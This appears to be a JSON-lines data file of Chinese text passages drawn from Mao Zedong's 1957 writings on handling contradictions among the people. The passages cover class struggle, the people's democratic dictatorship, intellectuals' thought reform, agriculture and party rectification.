    {"text": "比如，解放以后七年来的大胜利，特别是去年这一年的大胜利，使有些同志脑筋膨胀，骄傲起来了，突然来了个少数人闹事，就感到出乎意料之外。"},
    {"text": "直到他逝世前一年写的《苏联社会主义经济问题》，才吞吞吐吐地谈到了社会主义制度下生产关系和生产力之间的矛盾，说如果政策不对，调节得不好，是要出问题的。"},
    {"text": "但是，他还是没有把社会主义制度下生产关系和生产力之间的矛盾，上层建筑和经济基础之间的矛盾，当作全面性的问题提出来，他还是没有认识到这些矛盾是推动社会主义社会向前发展的基本矛盾。"},
    {"text": "按照辩证法，就象人总有一天要死一样，社会主义制度作为一种历史现象，总有一天要灭亡，要被共产主义制度所否定。 如果说，社会主义制度是不会灭亡的，社会主义的生产关系和上层建筑是不会灭亡的，那还是什么马克思主义呢？"},
    {"text": "怎样处理社会主义社会的敌我矛盾和人民内部矛盾，这是一门科学，值得好好研究。 就我国的情况来说，现在的阶级斗争，一部分是敌我矛盾，大量表现的是人民内部矛盾。"},
    {"text": "工、农、商、学、兵、政、党，都要加强政治思想工作。 现在大家搞业务，搞事务，什么经济事务，文教事务，国防事务，党的事务，不搞政治思想工作，那就很危险。"},
    {"text": "中央的同志，各省市自治区、各部的主要负责同志，一年总要有一段时间到工厂、合作社、商店、学校等基层单位去跑一跑，进行调查研究，搞清楚群众的情况怎样，先进的、中间的、落后的各有多少，我们的群众工作做得如何，做到心中有数。"},
    {"text": "一定要肃反。 没有完成肃反计划的，今年要完成，如果留下一点尾巴，明年一定要完成。 有些单位进行过肃反，但是肃而不清，必须在斗争中逐步肃清。"},
    {"text": "第三，农业是轻工业原料的主要来源，农村是轻工业的重要市场。 只有农业发展了，轻工业生产才能得到足够的原料，轻工业产品才能得到广阔的市场。 第四，农村又是重工业的重要市场。 比如，化学肥料，各种各样的农业机械，部分的电力、煤炭、石油，是供应农村的，铁路、公路和大型水利工程，也都为农业服务。 现在，我们建立了社会主义的农业经济，无论是发展轻工业还是发展重工业，农村都是极大的市场。 第五，现在出口物资主要是农产品。 农产品变成外汇，就可以进口各种工业设备。 第六，农业是积累的重要来源。 农业发展起来了，就可以为发展工业提供更多的资金。 因此，在一定的意义上可以说，农业就是工业。 要说服工业部门面向农村，支援农业。 要搞好工业化，就应当这样做。"},
    {"text": "其目的，就是要使农业能够扩大再生产，使它作为工业的市场更大，作为积累的来源更多。 先让农业本身积累多，然后才能为工业积累更多。 只为工业积累，农业本身积累得太少或者没有积累，竭泽而渔，对于工业的发展反而不利。"},
    {"text": "今年如果丰收，积累要比去年多一点，但是不能太多，还是先让农民吃饱一点。 丰收年多积累一点，灾荒年或者半灾荒年就不积累或者少积累一点。"},
    {"text": "注 释 〔1〕 定息是在我国社会主义改造过程中，国家对民族资产阶级的生产资料实行赎买政策的一种形式。 一九五六年资本主义工商业全行业公私合营以后，国家按照资本家的资产，在一定时期内，每年付给他们固定息率的股息，叫做定息。"},
    {"text": "关于正确处理人民内部矛盾的问题 关于正确处理 人民内部矛盾的问题 * （一九五七年二月二十七日） 关于正确处理人民内部矛盾的问题，这是一个总题目。"},
    {"text": "拿我国的情况来说，在抗日战争时期，一切抗日的阶级、阶层和社会集团都属于人民的范围，日本帝国主义、汉奸、亲日派都是人民的敌人。 在解放战争时期，美帝国主义和它的走狗即官僚资产阶级、地主阶级以及代表这些阶级的国民党反动派，都是人民的敌人； 一切反对这些敌人的阶级、阶层和社会集团，都属于人民的范围。 在现阶段，在建设社会主义的时期，一切赞成、拥护和参加社会主义建设事业的阶级、阶层和社会集团，都属于人民的范围； 一切反抗社会主义革命和敌视、破坏社会主义建设的社会势力和社会集团，都是人民的敌人。"},
    {"text": "人民内部的矛盾不是现在才有的，但是在各个革命时期和社会主义建设时期有着不同的内容。 在我国现在的条件下，所谓人民内部的矛盾，包括工人阶级内部的矛盾，农民阶级内部的矛盾，知识分子内部的矛盾，工农两个阶级之间的矛盾，工人、农民同知识分子之间的矛盾，工人阶级和其他劳动人民同民族资产阶级之间的矛盾，民族资产阶级内部的矛盾，等等。 我们的人民政府是真正代表人民利益的政府，是为人民服务的政府，但是它同人民群众之间也有一定的矛盾。 这种矛盾包括国家利益、集体利益同个人利益之间的矛盾，民主同集中的矛盾，领导同被领导之间的矛盾，国家机关某些工作人员的官僚主义作风同群众之间的矛盾。 这种矛盾也是人民内部的一个矛盾。 一般说来，人民内部的矛盾，是在人民利益根本一致的基础上的矛盾。 在我们国家里，工人阶级同民族资产阶级的矛盾属于人民内部的矛盾。 工人阶级和民族资产阶级的阶级斗争一般地属于人民内部的阶级斗争，这是因为我国的民族资产阶级有两面性。"},
    {"text": "在资产阶级民主革命时期，它有革命性的一面，又有妥协性的一面。 在社会主义革命时期，它有剥削工人阶级取得利润的一面，又有拥护宪法、愿意接受社会主义改造的一面。"},
    {"text": "如果我们处理不当，不是对民族资产阶级采取团结、批评、教育的政策，或者民族资产阶级不接受我们的这个政策，那末工人阶级同民族资产阶级之间的矛盾就会变成敌我之间的矛盾。"},
    {"text": "敌我之间和人民内部这两类矛盾的性质不同，解决的方法也不同。 简单地说起来，前者是分清敌我的问题，后者是分清是非的问题。 当然，敌我问题也是一种是非问题。 比如我们同帝国主义、封建主义、官僚资本主义这些内外反动派，究竟谁是谁非，也是是非问题，但是这是和人民内部问题性质不同的另一类是非问题。"},
    {"text": "专政的第一个作用，就是压迫国家内部的反动阶级、反动派和反抗社会主义革命的剥削者，压迫那些对于社会主义建设的破坏者，就是为了解决国内敌我之间的矛盾。"},
    {"text": "例如逮捕某些反革命分子并且将他们判罪，在一个时期内不给地主阶级分子和官僚资产阶级分子以选举权，不给他们发表言论的自由权利，都是属于专政的范围。 为了维护社会秩序和广大人民的利益，对于那些盗窃犯、诈骗犯、杀人放火犯、流氓集团和各种严重破坏社会秩序的坏分子，也必须实行专政。"},
    {"text": "专政还有第二个作用，就是防御国家外部敌人的颠覆活动和可能的侵略。 在这种情况出现的时候，专政就担负着对外解决敌我之间的矛盾的任务。 专政的目的是为了保卫全体人民进行和平劳动，将我国建设成为一个具有现代工业、现代农业和现代科学文化的社会主义国家。"},
    {"text": "我们的宪法规定:中华人民共和国公民有言论、出版、集会、结社、游行、示威、宗教信仰等等自由。 我们的宪法又规定:国家机关实行民主集中制，国家机关必须依靠人民群众，国家机关工作人员必须为人民服务。"},
    {"text": "这就表明，在人民内部实行民主制度，而由工人阶级团结全体有公民权的人民，首先是农民，向着反动阶级、反动派和反抗社会主义改造和社会主义建设的分子实行专政。"},
    {"text": "在阶级斗争的社会里，有了剥削阶级剥削劳动人民的自由，就没有劳动人民不受剥削的自由。 有了资产阶级的民主，就没有无产阶级和劳动人民的民主。"},
    {"text": "在人民内部，不可以没有自由，也不可以没有纪律； 不可以没有民主，也不可以没有集中。 这种民主和集中的统一，自由和纪律的统一，就是我们的民主集中制。 在这个制度下，人民享受着广泛的民主和自由；"},
    {"text": "我们主张有领导的自由，主张集中指导下的民主，这在任何意义上都不是说，人民内部的思想问题、是非的辨别问题，可以用强制的方法去解决。"},
    {"text": "凡属于思想性质的问题，凡属于人民内部的争论问题，只能用民主的方法去解决，只能用讨论的方法、批评的方法、说服教育的方法去解决，而不能用强制的、压服的方法去解决。"},
    {"text": "人民为了有效地进行生产、进行学习和有秩序地过生活，要求自己的政府、生产的领导者、文化教育机关的领导者发布各种适当的带强制性的行政命令。"},
    {"text": "在一九四二年，我们曾经把解决人民内部矛盾的这种民主的方法，具体化为一个公式，叫做“团结——批评——团结”。 讲详细一点，就是从团结的愿望出发，经过批评或者斗争使矛盾得到解决，从而在新的基础上达到新的团结。"},
    {"text": "一九四二年，我们采用了这个方法解决共产党内部的矛盾，就是教条主义者和广大党员群众之间的矛盾，教条主义思想和马克思主义思想之间的矛盾。"},
    {"text": "我们在批评“左”倾教条主义的时候，就没有采取这个老方法，而采取了一个新方法，就是从团结的愿望出发，经过批评或者斗争，分清是非，在新的基础上达到新的团结。"},
    {"text": "在各抗日根据地里，我们处理领导和群众的关系，处理军民关系、官兵关系、几部分军队之间的关系、几部分干部之间的关系，都采用了这个方法，并且得到了伟大的成功。"},
    {"text": "自从一九二七年我们在南方建立革命军队和革命根据地开始，关于处理党群关系、军民关系、官兵关系以及其他人民内部关系，就是采用这个方法的。"},
    {"text": "我们现在的任务，就是要在整个人民内部继续推广和更好地运用这个方法，要求所有的工厂、合作社、商店、学校、机关、团体，总之，六亿人口，都采用这个方法去解决他们内部的矛盾。"},
    {"text": "马克思主义者从来就认为无产阶级的事业只能依靠人民群众，共产党人在劳动人民中间进行工作的时候必须采取民主的说服教育的方法，决不允许采取命令主义态度和强制手段。"},
    {"text": "我在一九四九年所写的《论人民民主专政》里曾经说过:“对人民内部的民主方面和对反动派的专政方面，互相结合起来，就是人民民主专政”，解决人民内部的问题，“使用的方法，是民主的即说服的方法，而不是强迫的方法”。"},
    {"text": "对敌人说来是用专政的方法，就是说在必要的时期内，不让他们参与政治活动，强迫他们服从人民政府的法律，强迫他们从事劳动并在劳动中改造他们成为新人。"},
    {"text": "对人民说来则与此相反，不是用强迫的方法，而是用民主的方法，就是说必须让他们参与政治活动，不是强迫他们做这样做那样，而是用民主的方法向他们进行教育和说服的工作。"},
    {"text": "”过去我们已经多次讲过用民主方法解决人民内部矛盾这个问题，并且在工作中基本上就是这样做的，很多干部和人民都在实际上懂得这个问题。"},
    {"text": "矛盾着的对立面又统一，又斗争，由此推动事物的运动和变化。 矛盾是普遍存在的，不过按事物的性质不同，矛盾的性质也就不同。 对于任何一个具体的事物说来，对立的统一是有条件的、暂时的、过渡的，因而是相对的，对立的斗争则是绝对的。"},
    {"text": "许多人不敢公开承认我国人民内部还存在着矛盾，正是这些矛盾推动着我们的社会向前发展。 许多人不承认社会主义社会还有矛盾，因而使得他们在社会矛盾面前缩手缩脚，处于被动地位；"},
    {"text": "不懂得在不断地正确处理和解决矛盾的过程中，将会使社会主义社会内部的统一和团结日益巩固。 这样，就有必要在我国人民中，首先是在干部中，进行解释，引导人们认识社会主义社会中的矛盾，并且懂得采取正确的方法处理这种矛盾。"},
    {"text": "资本主义社会的矛盾表现为剧烈的对抗和冲突，表现为剧烈的阶级斗争，那种矛盾不可能由资本主义制度本身来解决，而只有社会主义革命才能够加以解决。 社会主义社会的矛盾是另一回事，恰恰相反，它不是对性的矛盾，它可以经过社会主义制度本身，不断地得到解决。 在社会主义社会中，基本的矛盾仍然是生产关系和生产力之间的矛盾，上层建筑和经济基础之间的矛盾。 不过社会主义社会的这些矛盾，同旧社会的生产关系和生产力的矛盾、上层建筑和经济基础的矛盾，具有根本不同的性质和情况罢了。"},
    {"text": "所谓社会主义生产关系比较旧时代生产关系更能够适合生产力发展的性质，就是指能够容许生产力以旧社会所没有的速度迅速发展，因而生产不断扩大，因而使人民不断增长的需要能够逐步得到满足的这样一种情况。"},
    {"text": "就所有制这点上说，这类企业还不是完全的社会主义性质的。 农业生产合作社和手工业生产合作社有一部分也还是半社会主义性质的； 完全社会主义化的合作社在所有制的某些个别问题上，还需要继续解决。"},
    {"text": "在全民所有制经济和集体所有制经济里面，在这两种社会主义经济形式之间，积累和消费的分配问题是一个复杂的问题，也不容易一下子解决得完全合理。"},
    {"text": "但是，它又还很不完善，这些不完善的方面和生产力的发展又是相矛盾的。 除了生产关系和生产力发展的这种又相适应又相矛盾的情况以外，还有上层建筑和经济基础的又相适应又相矛盾的情况。"},
    {"text": "人民民主专政的国家制度和法律，以马克思列宁主义为指导的社会主义意识形态，这些上层建筑对于我国社会主义改造的胜利和社会主义劳动组织的建立起了积极的推动作用，它是和社会主义的经济基础即社会主义的生产关系相适应的；"},
    {"text": "但是，资产阶级意识形态的存在，国家机构中某些官僚主义作风的存在，国家制度中某些环节上缺陷的存在，又是和社会主义的经济基础相矛盾的。"},
    {"text": "例如，在客观上将会长期存在的社会生产和社会需要之间的矛盾，就需要人们时常经过国家计划去调节。 我国每年作一次经济计划，安排积累和消费的适当比例，求得生产和需要之间的平衡。"},
    {"text": "所谓平衡，就是矛盾的暂时的相对的统一。 过了一年，就整个说来，这种平衡就被矛盾的斗争所打破了，这种统一就变化了，平衡成为不平衡，统一成为不统一，又需要作第二年的平衡和统一。"},
    {"text": "这就是说，我们的社会主义制度还需要有一个继续建立和巩固的过程，人民群众对于这个新制度还需要有一个习惯的过程，国家工作人员也需要一个学习和取得经验的过程。"},
    {"text": "在这个时候，我们提出划分敌我和人民内部两类矛盾的界限，提出正确处理人民内部矛盾的问题，以便团结全国各族人民进行一场新的战争——向自然界开战，发展我们的经济，发展我们的文化，使全体人民比较顺利地走过目前的过渡时期，巩固我们的新制度，建设我们的新国家，就是十分必要的了。"},
    {"text": "我们国家的巩固，首先是由于我们有经过几十年革命斗争锻炼的共产党和解放军，有经过几十年革命斗争锻炼的劳动人民。 我们的党和军队是在群众中生了根的，是在长期革命火焰中锻炼出来的是有战斗力的。 我们的人民共和国是经过革命根据地逐步发展起来的，不是突然建立起来的。"},
    {"text": "由于这一切，我们的大学生虽然还有许多人是非劳动人民家庭出身的子女，但是除了少数例外，都是爱国的，都是拥护社会主义的，他们在匈牙利事件时期没有发生波动。"},
    {"text": "有些人不了解我们今天的政策适合于今天的情况，过去的政策适合于过去的情况，想利用今天的政策去翻过去的案，想否定过去肃反工作的巨大成绩，这是完全错误的，这是人民群众所不允许的。"},
    {"text": "许多人没有分析这种情况，没有对合作社的成绩和缺点以及缺点产生的根源作全面的考察，把局部和片面当成了全体，这就在一些人中间刮起了一阵所谓合作社没有优越性的小台风。"},
    {"text": "在生产问题上，一方面，合作社经济要服从国家统一经济计划的领导，同时在不违背国家的统一计划和政策法令下保持自己一定的灵活性和独立性； 另一方面，参加合作社的各个家庭，除了自留地和其他一部分个体经营的经济可以由自己作出适当的计划以外，都要服从合作社或者生产队的总计划。"},
    {"text": "对于国家的税收、合作社的积累、农民的个人收入这三方面的关系，必须处理适当，经常注意调节其中的矛盾。 国家要积累，合作社也要积累，但是都不能过多。"},
    {"text": "这就是说，由于我国被帝国主义者和他们的代理人压迫剥削了一百多年，变成一个很穷的国家，不但农民的生活水平低，工人和知识分子的生活水平也都还低。"},
    {"text": "我们准备在几年内，把征粮和购粮的数量大体上稳定在八百几十亿斤的水平上，使农业得到发展，使合作社得到巩固，使现在还存在的农村中一小部分缺粮户不再缺粮，除了专门经营经济作物的某些农户以外，统统变为余粮户或者自给户，使农村中没有了贫农，使全体农民达到中农和中农以上的生活水平。"},
    {"text": "至于简单地拿农民每人每年平均所得和工人每人每年平均所得相比较，说一个低了，一个高了，这是不适当的。 工人的劳动生产率比农民高得多，而农民的生活费用比城市工人又省得多，所以不能说工人特别得到国家的优待。 有少部分工人的工资以及有些国家机关工作人员的工资是高了一些，农民看了不满意是有理由的，斟酌情况作一些适当的调整，是必要的。"},
    {"text": "在建设社会主义社会的过程中，人人需要改造，剥削者要改造，劳动者也要改造，谁说工人阶级不要改造？ 当然，剥削者的改造和劳动者的改造是两种不同性质的改造，不能混为一谈。 工人阶级要在阶级斗争中和向自然界的斗争中改造整个社会，同时也就改造自己。 工人阶级必须在工作中不断学习，逐步克服自己的缺点，永远也不能停止。"},
    {"text": "过去为旧社会服务的几百万知识分子，现在转到为新社会服务，这里就存在着他们如何适应新社会需要和我们如何帮助他们适应新社会需要的问题。"},
    {"text": "凡是真正愿意为社会主义事业服务的知识分子，我们都应当给予信任，从根本上改善同他们的关系，帮助他们解决各种必须解决的问题，使他们得以积极地发挥他们的才能。"},
    {"text": "为了充分适应新社会的需要，为了同工人农民团结一致，知识分子必须继续改造自己，逐步地抛弃资产阶级的世界观而树立无产阶级的、共产主义的世界观。"},
    {"text": "我们希望我国的知识分子继续前进，在自己的工作和学习的过程中，逐步地树立共产主义的世界观，逐步地学好马克思列宁主义，逐步地同工人农民打成一片，而不要中途停顿，更不要向后倒退，倒退是没有出路的。 由于我国的社会制度已经起了变化，资产阶级思想的经济基础已经基本上消灭了，这就使大量知识分子的世界观不但有了改变的必要，而且有了改变的可能。"},
    {"text": "要使全体青年们懂得，我们的国家现在还是一个很穷的国家，并且不可能在短时间内根本改变这种状态，全靠青年和全体人民在几十年时间内，团结奋斗，用自己的双手创造出一个富强的国家。"},
    {"text": "所以汉族和少数民族的关系一定要搞好。 这个问题的关键是克服大汉族主义。 在存在有地方民族主义的少数民族中间，则应当同时克服地方民族主义。 无论是大汉族主义或者地方民族主义，都不利于各族人民的团结，这是应当克服的一种人民内部的矛盾。"},
    {"text": "按照中央和西藏地方政府的十七条协议，社会制度的改革必须实行，但是何时实行，要待西藏大多数人民群众和领袖人物认为可行的时候，才能作出决定，不能性急。"},
    {"text": "抱有这种小圈子主义的人们，对于这样一种思想是抵触的:调动一切积极因素，团结一切可能团结的人，并且尽可能地将消极因素转变为积极因素，为建设社会主义社会这个伟大的事业服务。"},
    {"text": "无论粮食问题，灾荒问题，就业问题，教育问题，知识分子问题，各种爱国力量的统一战线问题，少数民族问题，以及其他各项问题，都要从对全体人民的统筹兼顾这个观点出发，就当时当地的实际可能条件，同各方面的人协商，作出各种适当的安排。"},
    {"text": "它是根据中国的具体情况提出来的，是在承认社会主义社会仍然存在着各种矛盾的基础上提出来的，是在国家需要迅速发展经济和文化的迫切要求上提出来的。"},
    {"text": "在我国，虽然社会主义改造，在所有制方面说来，已经基本完成，革命时期的大规模的急风暴雨式的群众阶级斗争已经基本结束，但是，被推翻的地主买办阶级的残余还是存在，资产阶级还是存在，小资产阶级刚刚在改造。"},
    {"text": "无产阶级和资产阶级之间的阶级斗争，各派政治力量之间的阶级斗争，无产阶级和资产阶级之间在意识形态方面的阶级斗争，还是长时期的，曲折的，有时甚至是很激烈的。"},
    {"text": "因此，马克思主义仍然必须在斗争中发展。 马克思主义必须在斗争中才能发展，不但过去是这样，现在是这样，将来也必然还是这样。 正确的东西总是在同错误的东西作斗争的过程中发展起来的。 真的、善的、美的东西总是在同假的、恶的、丑的东西相比较而存在，相斗争而发展的。 当着某一种错误的东西被人类普遍地抛弃，某一种真理被人类普遍地接受的时候，更加新的真理又在同新的错误意见作斗争。"},
    {"text": "在我们的工作中尽管有缺点，有错误，但是每一个公正的人都可以看到，我们对人民是忠诚的，我们有决心有能力同人民在一起把祖国建设好，我们已经得到巨大的成就，并且将继续得到更巨大的成就。"},
    {"text": "资产阶级分子和从旧社会来的知识分子的绝大多数都是爱国的，他们愿意为蒸蒸日上的社会主义祖国服务，并且懂得如果离开社会主义事业，离开共产党所领导的劳动人民，他们就会无所依靠，而不可能有任何光明的前途。"},
    {"text": "我们是反对一切毒草的，但是我们必须谨慎地辨别什么是真的毒草，什么是真的香花。 我们要同群众一起来学会谨慎地辨别香花和毒草，并且一起来用正确的方法同毒草作斗争。"},
    {"text": "在我国社会主义革命取得基本胜利以后，社会上还有一部分人梦想恢复资本主义制度，他们要从各个方面向工人阶级进行斗争，包括思想方面的斗争。"},
    {"text": "百花齐放、百家争鸣这两个口号，就字面看，是没有阶级性的，无产阶级可以利用它们，资产阶级也可以利用它们，其他的人们也可以利用它们。"},
    {"text": "我们以为，根据我国的宪法的原则，根据我国最大多数人民的意志和我国各党派历次宣布的共同的政治主张，这种标准可以大致规定如下:（一）有利于团结全国各族人民，而不是分裂人民；"},
    {"text": "（三）有利于巩固人民民主专政，而不是破坏或者削弱这个专政； （四）有利于巩固民主集中制，而不是破坏或者削弱这个制度； （五）有利于巩固共产党的领导，而不是摆脱或者削弱这种领导；"},
    {"text": "但是大多数人有了明确的标准，就可以使批评和自我批评沿着正确的轨道前进，就可以用这些标准去鉴别人们的言论行动是否正确，究竟是香花还是毒草。"},
    {"text": "我在一九五〇年六月第二次政治协商会议上，就已经这样说过:“只要谁肯真正为人民效力，在人民还有困难的时期内确实帮了忙，做了好事，并且是一贯地做下去，并不半途而废，那末，人民和人民的政府是没有理由不要他的，是没有理由不给他以生活的机会和效力的机会的。"},
    {"text": "”这里所说的，也就是各党派可以长期共存的政治基础。 共产党同各民主党派长期共存，这是我们的愿望，也是我们的方针。 至于各民主党派是否能够长期存在下去，不是单由共产党一方面的愿望作决定，还要看各民主党派自己的表现，要看它们是否取得人民的信任。"},
    {"text": "各党派互相监督的事实，也早已存在，就是各党派互相提意见，作批评。 所谓互相监督，当然不是单方面的，共产党可以监督民主党派，民主党派也可以监督共产党。"},
    {"text": "当然，各民主党派和共产党相互之间所提的意见，所作的批评，也只有在合乎我们在前面所说的六条政治标准的情况下，才能够发挥互相监督的积极作用。 因此，我们希望各民主党派都能注意思想改造，争取和共产党一道长期共存，互相监督，以适应新社会的需要。"},
    {"text": "不少青年人由于缺少政治经验和社会生活经验，不善于把旧中国和新中国加以比较，不容易深切了解我国人民曾经怎样经历千辛万苦的斗争才摆脱了帝国主义和国民党反动派的压迫，而建立一个美好的社会主义社会要经过怎样的长时间的艰苦劳动。"},
    {"text": "因此，需要在群众中间经常进行生动的、切实的政治教育，并且应当经常把发生的困难向他们作真实的说明，和他们一起研究如何解决困难的办法。"},
    {"text": "我们是不赞成闹事的，因为人民内部的矛盾可以用“团结——批评——‘团结”的方法去解决，而闹事总会要造成一些损失，不利于社会主义事业的发展。"},
    {"text": "在这个问题上，我们应当注意的是:（一）为了从根本上消灭发生闹事的原因，必须坚决地克服官僚主义，很好地加强思想政治教育，恰当地处理各种矛盾。"},
    {"text": "（二）如果由于我们的工作做得不好，闹了事，那就应当把闹事的群众引向正确的道路，利用闹事来作为改善工作、教育干部和群众的一种特殊手段，解决平日所没有解决的问题。"},
    {"text": "如果帝国主义者一定要发动第三次世界大战，可以断定，其结果必定又要有多少亿人口转到社会主义方面，帝国主义剩下的地盘就不多了，也有可能整个帝国主义制度全部崩溃。"},
    {"text": "中国共产党、民主党派、无党派民主人士、知识分子、工商业者、工人、农民、手工业者，总之，我们六亿人口都要实行增产节约，反对铺张浪费。"},
    {"text": "我国是一个大农业国，农村人口占全国人口的百分之八十以上，发展工业必须和发展农业同时并举，工业才有原料和市场，才有可能为建立强大的重工业积累较多的资金。"},
    {"text": "但是随着农业的技术改革逐步发展，农业的日益现代化，为农业服务的机械、肥料、水利建设、电力建设、运输建设、民用燃料、民用建筑材料等等将日益增多，重工业以农业为重要市场的情况，将会易于为人们所理解。"},
    {"text": "经过三个五年计划，或者再多一些时间，我国的钢产量仍然可能由解放前最高年产量，即一九四三年的九十多万吨，发展到二千万吨，或者更多一点。"},
    {"text": "必须懂得，在这个问题上是存在着矛盾的，即社会主义社会经济发展的客观规律和我们主观认识之间的矛盾，这需要在实践中去解决。 这个矛盾，也将表现为人同人之间的矛盾，即比较正确地反映客观规律的一些人同比较不正确地反映客观规律的一些人之间的矛盾，因此也是人民内部的矛盾。 一切矛盾都是客观存在的，我们的任务在于尽可能正确地反映它和解决它。"},
    {"text": "至于帝国主义国家，我们也要团结那里的人民，并且争取同那些国家和平共处，做些生意，制止可能发生的战争，但是决不可以对他们怀抱一些不切实际的想法。"},
    {"text": "我们现在是处在一个社会大变动的时期。 中国社会很久以来就处在大变动中间了。 抗日战争时期是大变动，解放战争时期也是大变动。 但是就性质来说，现在的变动比过去的变动深刻得多。"},
    {"text": "全国各个阶级的相互关系都在起变化。 农业和手工业方面的小资产阶级和工商业资产阶级，都发生了变化。 社会经济制度变化了，个体经济变为集体经济，资本主义私有制正在变为社会主义公有制。"},
    {"text": "要使它最后巩固起来，必须实现国家的社会主义工业化，坚持经济战线上的社会主义革命，还必须在政治战线和思想战线上，进行经常的、艰苦的社会主义革命斗争和社会主义教育。"},
    {"text": "中国究竟有多少知识分子，没有精确的统计。 有人估计，各类知识分子，包括高级知识分子和普通知识分子在内，大约有五百万左右。 这五百万左右的知识分子中，绝大多数人都是爱国的，爱我们的中华人民共和国，愿意为人民服务，为社会主义的国家服务。"},
    {"text": "五百万左右的知识分子，如果拿他们对待马克思主义的态度来看，似乎可以这样说：大约有百分之十几的人，包括共产党员和党外同情分子，是比较熟悉马克思主义，并且站稳了脚跟，站稳了无产阶级立场的。"},
    {"text": "如果在今后几个五年计划的时间内，在我们的知识分子中间能够有比较多的人接受马克思主义，能够有比较多的人通过工作和生活的实践，通过阶级斗争的实践、生产的实践、科学的实践，懂得比较多的马克思主义，这样就好了。"},
    {"text": "还有一些人很骄傲，读了几句书，自以为了不起，尾巴翘到天上去了，可是一遇风浪，他们的立场，比起工人和大多数农民来，就显得大不相同。"},
    {"text": "因此，如果认为教人者不需要再受教育了，不需要再学习了，如果认为社会主义改造只是要改造别人，改造地主、资本家，改造个体生产者，不要改造知识分子，那就错误了。 知识分子也要改造，不仅那些基本立场还没有转过来的人要改造，而且所有的人都应该学习，都应该改造。"},
    {"text": "情况是在不断地变化，要使自己的思想适应新的情况，就得学习。 即使是对于马克思主义已经了解得比较多的人，无产阶级立场比较坚定的人，也还是要再学习，要接受新事物，要研究新问题。"},
    {"text": "第四点：知识分子同工农群众结合的问题。 知识分子既然要为工农群众服务，那就首先必须懂得工人农民，熟悉他们的生活、工作和思想。 我们提倡知识分子到群众中去，到工厂去，到农村去。"},
    {"text": "有些人可以到工厂农村去看一看，转一转，这叫“走马观花”，总比不走不看好。 另外一些人可以在工厂农村里住几个月，在那里作调查，交朋友，这叫“下马看花”。"},
    {"text": "我们提倡百家争鸣，在各个学术部门可以有许多派、许多家，可是就世界观来说，在现代，基本上只有两家，就是无产阶级一家，资产阶级一家，或者是无产阶级的世界观，或者是资产阶级的世界观。"},
    {"text": "我们现在的大多数的知识分子，是从旧社会过来的，是从非劳动人民家庭出身的。 有些人即使是出身于工人农民的家庭，但是在解放以前受的是资产阶级教育，世界观基本上是资产阶级的，他们还是属于资产阶级的知识分子。 这些人，如果不把过去的一套去掉，换一个无产阶级的世界观，就和工人农民的观点不同，立场不同，感情不同，就会同工人农民格格不入，工人农民也不会把心里的话向他们讲。 知识分子如果同工农群众结合，和他们做了朋友，就可以把他们从书本上学来的马克思主义变成自己的东西。 学习马克思主义，不但要从书本上学，主要地还要通过阶级斗争、工作实践和接近工农群众，才能真正学到。 如果我们的知识分子读了一些马克思主义的书，又在同工农群众的接近中，在自己的工作实践中有所了解，那末，我们大家就有了共同的语言，不仅有爱国主义方面的共同语言、社会主义制度方面的共同语言，而且还可以有共产主义世界观方面的共同语言。"},
    {"text": "这一次整风，主要是要批判几种错误的思想作风和工作作风：一个是主观主义，一个是官僚主义，还有一个是宗派主义。 这次整风的方法同抗日时期的整风一样，就是先研究一些文件，每个人在学习文件的基础上检查自己的思想和工作，开展批评和自我批评，揭发缺点和错误的方面，发扬优点和正确的方面。 在整风中间，一方面要严肃认真，对于缺点和错误，一定要进行认真的而不是敷衍的批评和自我批评，而且一定要纠正；"},
    {"text": "我们过去说过，整风运动是一个“普遍的马克思主义的教育运动” 〔1〕 。 整风就是全党通过批评和自我批评来学习马克思主义。 在整风中间，我们一定可以更多地学到一些马克思主义。"},
    {"text": "人民民主专政的政权，给我国的经济和文化的迅速发展开辟了道路。 我们的政权的建立还不过短短几年，人们可以看到，不论在经济方面，在文化、教育、科学方面，都已经出现了空前繁荣的局面。"},
    {"text": "要使几亿人口的中国人生活得好，要把我们这个经济落后、文化落后的国家，建设成为富裕的、强盛的、具有高度文化的国家，这是一个很艰巨的任务。"},
    {"text": "我们所以要整风，现在要整风，将来还要整风，要不断地把我们身上的错误东西整掉，就是为了使我们能够更好地担负起这项任务，更好地同党内外的一切立志改革的志士仁人共同工作。"},
    {"text": "彻底的唯物主义者是无所畏惧的，我们希望一切同我们共同奋斗的人能够勇敢地负起责任，克服困难，不要怕挫折，不要怕有人议论讥笑，也不要怕向我们共产党人提批评建议。"},
    {"text": "否定一切，就是不加分析地认为事情都做得不好，社会主义建设这样一个伟大事业，几亿人口所进行的这个伟大斗争，似乎没有什么好处可说，一团糟。"},
    {"text": "要求所有的人都不带一点片面性，这是困难的。 人们总是根据自己的经验来观察问题，处理问题，发表意见，有时候就难免带上一些片面性。 但是，可不可以要求人们逐步地克服片面性，要求看问题比较全面一些？"},
    {"text": "如果不是这样，不要求一天一天地、一年一年地有较多的人采用比较全面地看问题的方法，那末，我们就停滞了，我们就是肯定片面性了，就是同整风的要求背道而驰了。"},
    {"text": "如果你写得对，就不用怕什么批评，就可以通过辩论，进一步阐明自己正确的意见。 如果你写错了，那末，有批评就可以帮助你改正，这并没有什么不好。"},
    {"text": "知识分子的改造，特别是他们的世界观的改变，要有一个长时期的过程。 我们的同志一定要懂得，思想改造的工作是长期的、耐心的、细致的工作，不能企图上几次课，开几次会，就把人家在几十年生活中间形成的思想意识改变过来。"},
    {"text": "百花齐放是一种发展艺术的方法，百家争鸣是一种发展科学的方法。 百花齐放、百家争鸣这个方针不但是使科学和艺术发展的好方法，而且推而广之，也是我们进行一切工作的好方法。"},
    {"text": "我们国内革命战争时期的大规模的急风暴雨式的群众阶级斗争已经基本结束，但是还有阶级斗争，主要是政治战线和思想战线上的阶级斗争，而且还很尖锐。"},
    {"text": "思想问题现在已经成为非常重要的问题。 各地党委的第一书记应该亲自出马来抓思想问题，只有重视了和研究了这个问题，才能正确地解决这个问题。 各地方要召开像这次宣传会议一样的会议，讨论当地的思想工作和有关思想工作的各方面的问题。 这种会不但要有党内的同志参加，而且要有党外的人参加，要有不同意见的人参加。"},
    {"text": "因为革命胜利了，有一部分同志，革命意志有些衰退，革命热情有些不足，全心全意为人民服务的精神少了，过去跟敌人打仗时的那种拚命精神少了，而闹地位，闹名誉，讲究吃，讲究穿，比薪水高低，争名夺利，这些东西多起来了。"},
    {"text": "在打蒋介石的时候，抗美援朝的时候，土地改革的时候，镇压反革命的时候，他一滴眼泪也不出，搞社会主义他一滴眼泪也不出，一触动到他个人的利益，就双泪长流。"},
